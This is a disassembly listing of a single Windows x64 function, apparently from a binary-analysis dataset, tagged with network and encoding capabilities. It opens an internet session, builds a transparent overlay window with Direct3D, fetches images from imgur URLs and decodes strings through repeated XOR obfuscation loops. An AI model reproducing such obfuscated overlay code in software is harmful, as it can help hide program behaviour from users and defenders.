Function at 0x140057a70
Capabilities:
Create http request
Encode data using base64
Encode data using xor
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x6d60]
mov eax, 0x6e60
call fcn.140069b80
sub rsp, rax
movaps xmmword [rsp + 0x6e50], xmm6
movaps xmmword [rsp + 0x6e40], xmm7
movaps xmmword [rsp + 0x6e30], xmm8
movaps xmmword [rsp + 0x6e20], xmm9
movaps xmmword [rsp + 0x6e10], xmm10
movaps xmmword [rsp + 0x6e00], xmm11
movaps xmmword [rsp + 0x6df0], xmm12
movaps xmmword [rsp + 0x6de0], xmm13
movaps xmmword [rsp + 0x6dd0], xmm14
movaps xmmword [rsp + 0x6dc0], xmm15
mov rax, qword [0x140080040]
xor rax, rsp
mov qword [rbp + 0x6cb0], rax
xor r15d, r15d
lea rdx, [0x1400753bc]
xor ecx, ecx
mov dword [rbp + 0x50], r15d
mov r13d, r15d
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
call fcn.14005e870
mov rdi, rax
mov rbx, 0xffffffffffffffff
nop
inc rbx
cmp byte [rax + rbx], r13b
jne 0x140057b30
lea rcx, [rbx + 1]
call fcn.140068a64
movdqa xmm7, xmmword [0x1400760b0]
mov rsi, rax
mov rdx, r15
test rbx, rbx
je 0x140057c43
cmp rbx, 8
jb 0x140057c20
dec rax
lea rcx, [rdi - 1]
add rax, rbx
add rcx, rbx
cmp rsi, rcx
ja 0x140057b7e
cmp rax, rdi
jae 0x140057c20
cmp rbx, 0x40
jb 0x140057bea
mov r9, rbx
mov r8, rbx
and r9d, 0x3f
sub r8, r9
mov rcx, rdi
lea rax, [rsi + 0x10]
sub rcx, rsi
nop dword [rax + rax]
movdqu xmm0, xmmword [rax + rcx - 0x10]
add rdx, 0x40
movdqu xmm1, xmmword [rax + rcx]
lea rax, [rax + 0x40]
andnps xmm0, xmm7
andnps xmm1, xmm7
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm0, xmmword [rax + rcx - 0x30]
movdqu xmmword [rax - 0x40], xmm1
andnps xmm0, xmm7
movdqu xmm1, xmmword [rax + rcx - 0x20]
movdqu xmmword [rax - 0x30], xmm0
andnps xmm1, xmm7
movdqu xmmword [rax - 0x20], xmm1
cmp rdx, r8
jb 0x140057ba0
cmp r9, 8
jb 0x140057c1b
mov rcx, rbx
and rcx, 0xfffffffffffffff8
mov r8, rdi
lea rax, [rdx + rsi]
sub r8, rsi
nop dword [rax + rax]
movq xmm0, qword [rax + r8]
lea rax, [rax + 8]
andnps xmm0, xmm7
add rdx, 8
movq qword [rax - 8], xmm0
cmp rdx, rcx
jb 0x140057c00
cmp rdx, rbx
jae 0x140057c43
sub rdi, rsi
lea rcx, [rdx + rsi]
mov r8, rbx
sub r8, rdx
nop dword [rax]
movzx eax, byte [rcx + rdi]
lea rcx, [rcx + 1]
not al
mov byte [rcx - 1], al
sub r8, 1
jne 0x140057c30
mov rdx, rsi
mov byte [rsi + rbx], r13b
lea rcx, [rbp + 0x98]
call fcn.14004a930
mov rcx, rsi
call fcn.14006868c
lea rcx, [rbp + 0x98]
call fcn.1400601b0
mov r14d, 1
mov dword [rsp + 0x20], r15d
mov edx, r14d
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenA]
lea rcx, [rbp + 0x98]
mov qword [0x140080dd8], rax
call fcn.140060380
lea rax, [0x14005eab0]
mov dword [rbp + 0x210], 0x50
xor ecx, ecx
mov qword [rbp + 0x218], rax
mov dword [rbp + 0x214], 0x40
mov qword [rbp + 0x220], r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xorps xmm0, xmm0
mov qword [rbp + 0x258], r15
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x230], xmm0
lea rdi, [0x1400753c0]
movdqu xmmword [rbp + 0x240], xmm1
lea rcx, [rbp + 0x210]
mov qword [rbp + 0x228], rax
mov qword [rbp + 0x250], rdi
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov ecx, r14d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0xfa]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r15
mov r9d, 0x80000000
mov qword [rsp + 0x50], r15
cdq
mov qword [rsp + 0x48], r15
sub eax, edx
mov rdx, qword [rbp + 0x250]
mov r8, rdi
mov qword [rsp + 0x40], r15
xor ecx, ecx
mov dword [rsp + 0x38], 0x1f6
sar eax, 1
sub eax, 0x15e
mov dword [rsp + 0x30], 0x2be
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
mov qword [0x140080ef0], rax
lea edx, [r14 - 0x15]
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov rcx, qword [0x140080ef0]
lea edx, [r14 - 0x15]
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov rcx, qword [0x140080ef0]
lea r9d, [r14 + 1]
mov r8b, 0xff
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x140075f00]
lea rdx, [rbp + 0x4c8]
mov rcx, qword [0x140080ef0]
movdqu xmmword [rbp + 0x4c8], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
xorps xmm0, xmm0
movups xmmword [0x140080ef8], xmm0
mov rcx, qword [0x140080ef0]
lea rdx, [0x140080ef8]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rax, qword [0x140080ef0]
lea rbx, [0x1400810a8]
mov qword [rsp + 0x58], rbx
lea rdi, [0x1400810a0]
mov qword [rbp + 0x290], rax
lea rsi, [0x140081098]
lea rax, [rbp + 0x370]
mov qword [rbp + 0x274], r15
mov qword [rsp + 0x50], rax
xor r9d, r9d
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x260]
mov qword [rsp + 0x40], rsi
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov edx, r14d
mov dword [rsp + 0x30], 7
lea rax, [rbp + 0x4f8]
mov dword [rsp + 0x28], 2
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x288], 2
mov qword [rbp + 0x2a0], 2
mov qword [rbp + 0x260], r15
mov dword [rbp + 0x270], 0x1c
mov dword [rbp + 0x268], 0x3c
mov dword [rbp + 0x26c], r14d
mov dword [rbp + 0x284], 0x20
mov qword [rbp + 0x27c], r14
mov qword [rbp + 0x298], r14
mov dword [rbp + 0x4f8], 0xb000
mov dword [rbp + 0x4fc], 0xa000
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
cmp eax, 0x887a0004
jne 0x140057f36
mov qword [rsp + 0x58], rbx
lea rax, [rbp + 0x370]
mov qword [rsp + 0x50], rax
lea edx, [r14 + 4]
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x260]
mov qword [rsp + 0x40], rsi
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov dword [rsp + 0x30], 7
lea rax, [rbp + 0x4f8]
mov dword [rsp + 0x28], 2
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
je 0x140057fb4
mov rcx, qword [0x140081090]
test rcx, rcx
je 0x140057f53
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x140081090], r15
mov rcx, qword [0x140081098]
test rcx, rcx
je 0x140057f6c
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x140081098], r15
mov rcx, qword [0x1400810a8]
test rcx, rcx
je 0x140057f85
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x1400810a8], r15
mov rcx, qword [0x1400810a0]
test rcx, rcx
je 0x140057f9e
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x1400810a0], r15
mov rdx, qword [rbp + 0x228]
mov rcx, qword [rbp + 0x250]
call qword [sym.imp.USER32.dll_UnregisterClassW]
jmp 0x140057ffc
mov rcx, qword [0x140081098]
lea r9, [rbp + 0x200]
lea r8, [0x140075710]
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [0x1400810a0]
lea r9, [0x140081090]
mov rdx, qword [rbp + 0x200]
xor r8d, r8d
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [rbp + 0x200]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x140080ef0]
mov edx, 0xa
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x140080ef0]
call qword [sym.imp.USER32.dll_UpdateWindow]
call fcn.140013f80
movups xmm0, xmmword [0x1400755b8]
mov eax, dword [0x1400755d0]
mov ecx, r15d
mov rbx, qword [0x140080da0]
movups xmmword [rbp + 0x310], xmm0
mov dword [rbp + 0x328], eax
movsd xmm0, qword [0x1400755c8]
or dword [rbx + 8], 3
mov r14d, dword [0x140080088]
movzx eax, word [0x1400755d4]
movsd qword [rbp + 0x320], xmm0
mov word [rbp + 0x32c], ax
cmp r14d, 2
jl 0x1400581b4
movdqa xmm0, xmmword [str.3333333333333333]
lea rdx, [rbp + 0x310]
movdqa xmm5, xmmword [0x140075f70]
movdqa xmm4, xmmword [0x140076080]
movdqa xmm6, xmmword [0x140075fa0]
movdqa xmmword [rbp + 0x330], xmm0
mov r8d, dword [rbp + 0x330]
nop dword [rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140075ff0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140075ff0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
cmp ecx, 0x18
jl 0x1400580b0
cmp ecx, 0x1e
jge 0x1400581fd
movsxd rax, ecx
lea r8, [rbp + 0x310]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x32
movzx eax, cl
inc ecx
sub al, dl
add al, 0x33
xor byte [r8 - 1], al
cmp ecx, 0x1e
jl 0x1400581d0
movss xmm15, dword [0x140075e44]
lea rdx, [rbp + 0x310]
mov rcx, qword [rbx + 0x38]
movaps xmm2, xmm15
call fcn.140037830
cmp byte [0x1400755d5], r13b
movups xmm0, xmmword [0x1400755b8]
mov qword [0x140080dc8], rax
mov eax, dword [0x1400755d0]
movups xmmword [rbp + 0x310], xmm0
mov dword [rbp + 0x328], eax
movsd xmm0, qword [0x1400755c8]
movzx eax, word [0x1400755d4]
movsd qword [rbp + 0x320], xmm0
mov word [rbp + 0x32c], ax
je 0x1400583fd
mov ecx, r15d
cmp r14d, 2
jl 0x1400583b4
movdqa xmm0, xmmword [str.3333333333333333]
lea rdx, [rbp + 0x310]
movdqa xmm5, xmmword [0x140075f70]
movdqa xmm4, xmmword [0x140076080]
movdqa xmm6, xmmword [0x140075fa0]
movdqa xmmword [rbp + 0x330], xmm0
mov r8d, dword [rbp + 0x330]
nop dword [rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140075ff0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140075ff0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
cmp ecx, 0x18
jl 0x1400582b0
cmp ecx, 0x1e
jge 0x1400583fd
movsxd rax, ecx
lea r8, [rbp + 0x310]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x32
movzx eax, cl
inc ecx
sub al, dl
add al, 0x33
xor byte [r8 - 1], al
cmp ecx, 0x1e
jl 0x1400583d0
movss xmm2, dword [0x140075e38]
lea rdx, [rbp + 0x310]
mov rcx, qword [rbx + 0x38]
call fcn.140037830
mov qword [0x140080dd0], rax
mov ecx, r15d
mov eax, dword [0x1400755d0]
mov dword [rbp + 0x328], eax
movzx eax, word [0x1400755d4]
mov word [rbp + 0x32c], ax
movups xmm0, xmmword [0x1400755b8]
movups xmmword [rbp + 0x310], xmm0
movsd xmm0, qword [0x1400755c8]
movsd qword [rbp + 0x320], xmm0
cmp r14d, 2
jl 0x1400585a4
movdqa xmm0, xmmword [str.3333333333333333]
lea rdx, [rbp + 0x310]
movdqa xmm5, xmmword [0x140075f70]
movdqa xmm4, xmmword [0x140076080]
movdqa xmm6, xmmword [0x140075fa0]
movdqa xmmword [rbp + 0x330], xmm0
mov r8d, dword [rbp + 0x330]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140075ff0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140075ff0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
cmp ecx, 0x18
jl 0x1400584a0
cmp ecx, 0x1e
jge 0x1400585ed
movsxd rax, ecx
lea r8, [rbp + 0x310]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x32
movzx eax, cl
inc ecx
sub al, dl
add al, 0x33
xor byte [r8 - 1], al
cmp ecx, 0x1e
jl 0x1400585c0
movss xmm2, dword [0x140075e4c]
lea rdx, [rbp + 0x310]
mov rcx, qword [rbx + 0x38]
call fcn.140037830
mov qword [0x140080dc0], rax
mov ecx, r15d
mov eax, dword [0x1400755d0]
mov dword [rbp + 0x328], eax
movzx eax, word [0x1400755d4]
mov word [rbp + 0x32c], ax
movups xmm0, xmmword [0x1400755b8]
movups xmmword [rbp + 0x310], xmm0
movsd xmm0, qword [0x1400755c8]
movsd qword [rbp + 0x320], xmm0
cmp r14d, 2
jl 0x140058794
movdqa xmm0, xmmword [str.3333333333333333]
lea rdx, [rbp + 0x310]
movdqa xmm5, xmmword [0x140075f70]
movdqa xmm4, xmmword [0x140076080]
movdqa xmm6, xmmword [0x140075fa0]
movdqa xmmword [rbp + 0x330], xmm0
mov r8d, dword [rbp + 0x330]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140075ff0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140075ff0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
cmp ecx, 0x18
jl 0x140058690
cmp ecx, 0x1e
jge 0x1400587dd
movsxd rax, ecx
lea r8, [rbp + 0x310]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x32
movzx eax, cl
inc ecx
sub al, dl
add al, 0x33
xor byte [r8 - 1], al
cmp ecx, 0x1e
jl 0x1400587b0
mov rcx, qword [rbx + 0x38]
lea rdx, [rbp + 0x310]
movaps xmm2, xmm15
call fcn.140037830
mov rcx, qword [rbx + 0x38]
call fcn.140037f50
xor ecx, ecx
call fcn.140033020
call fcn.14003da70
call fcn.14003d570
lea rcx, [rbp + 0x418]
call fcn.14005eaa0
lea rdx, str.https:__i.imgur.com_8yHXcff.png
lea rcx, [rbp + 0x170]
call fcn.1400605c0
mov rdx, qword [0x1400810a0]
lea r8, [rbp + 0x310]
lea rcx, [rbp + 0x418]
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x310], xmm0
call fcn.140049b10
lea rcx, [rbp + 0x448]
call fcn.14005eaa0
lea rdx, str.https:__i.imgur.com_zBXK2Xt.png
lea rcx, [rbp + 0x170]
call fcn.1400605c0
mov rdx, qword [0x1400810a0]
lea r8, [rbp + 0x310]
lea rcx, [rbp + 0x448]
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x310], xmm0
call fcn.140049b10
mov eax, dword [0x1400756e8]
mov r8d, r15d
movsd xmm0, qword [0x1400756e0]
mov dword [rbp + 0x328], eax
movzx eax, word [0x1400756ec]
mov word [rbp + 0x32c], ax
movsd qword [rbp + 0x320], xmm0
movups xmm3, xmmword [0x1400756d0]
movups xmmword [rbp + 0x310], xmm3
cmp r14d, 2
jl 0x1400589be
movdqa xmm2, xmmword [0x140075f70]
mov r8d, 8
movdqa xmm4, xmmword [0x140076080]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140075fa0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movq xmm1, xmm3
movdqa xmm3, xmmword [0x140075f90]
paddw xmm2, xmmword [0x140075fe0]
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movq qword [rbp + 0x310], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140075fa0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp + 0x318]
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x140075fe0]
xorps xmm2, xmm0
movq qword [rbp + 0x318], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x310]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x33
xor word [r9 - 2], ax
cmp r8d, 0xf
jl 0x1400589d0
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x4d8]
call fcn.140060060
lea rcx, [rbp + 0x4d8]
call fcn.14005ffd0
lea rdx, [rbp + 0x10]
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x98]
call fcn.140061630
lea rcx, [rbp + 0x98]
call fcn.14004c5d0
lea rcx, [rbp + 0x98]
movzx ebx, al
call fcn.14004afe0
test bl, bl
jne 0x140058e38
lea rcx, [rbp + 0x4d8]
call fcn.14005ffd0
lea rdx, [rbp + 0x10]
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x98]
call fcn.140061630
lea rcx, [rbp + 0x98]
call fcn.14004c950
lea rcx, [rbp + 0x98]
call fcn.14004afe0
mov eax, dword [0x1400756e8]
mov r8d, r15d
movsd xmm0, qword [0x1400756e0]
mov dword [rbp + 0x328], eax
movzx eax, word [0x1400756ec]
mov word [rbp + 0x32c], ax
movsd qword [rbp + 0x320], xmm0
movups xmm8, xmmword [0x1400756d0]
movups xmmword [rbp + 0x310], xmm8
cmp r14d, 2
jl 0x140058bcb
movdqa xmm2, xmmword [0x140075f70]
mov r8d, 8
movdqa xmm4, xmmword [0x140076080]
movdqa xmm1, xmm2
movdqa xmm6, xmmword [0x140075fe0]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140075fa0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm6
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm1, xmm8
paddw xmm3, xmm2
movdqa xmm2, xmmword [0x140075f90]
xorps xmm3, xmm1
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
movdqa xmm1, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movq qword [rbp + 0x310], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140075fa0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm6
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp + 0x318]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rbp + 0x318], xmm3
movsxd rax, r8d
lea r9, [rbp + 0x310]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x33
xor word [r9 - 2], ax
cmp r8d, 0xf
jl 0x140058be0
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x468]
call fcn.140060060
lea rcx, [rbp + 0x468]
call fcn.14005ffd0
lea rdx, [rbp + 0x10]
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x98]
call fcn.140061630
lea rcx, [rbp + 0x98]
call fcn.14004c950
lea rcx, [rbp + 0x98]
call fcn.14004afe0
movsd xmm0, qword [0x140075440]
mov r8d, r15d
mov eax, dword [0x140075448]
movsd qword [rbp + 0x320], xmm0
mov dword [rbp + 0x328], eax
movups xmm8, xmmword [0x140075430]
movups xmmword [rbp + 0x310], xmm8
cmp r14d, 2
jl 0x140058d8a
movdqa xmm2, xmmword [0x140075f70]
mov r8d, 8
movdqa xmm4, xmmword [0x140076080]
movdqa xmm1, xmm2
movdqa xmm6, xmmword [0x140075fe0]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140075fa0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm6
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm1, xmm8
paddw xmm3, xmm2
movdqa xmm2, xmmword [0x140075f90]
xorps xmm3, xmm1
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
movdqa xmm1, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movq qword [rbp + 0x310], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140075fa0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm6
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp + 0x318]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rbp + 0x318], xmm3
movsxd rax, r8d
lea r9, [rbp + 0x310]
lea r9, [r9 + rax*2]
nop dword [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x33
xor word [r9 - 2], ax
cmp r8d, 0xe
jl 0x140058da0
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x488]
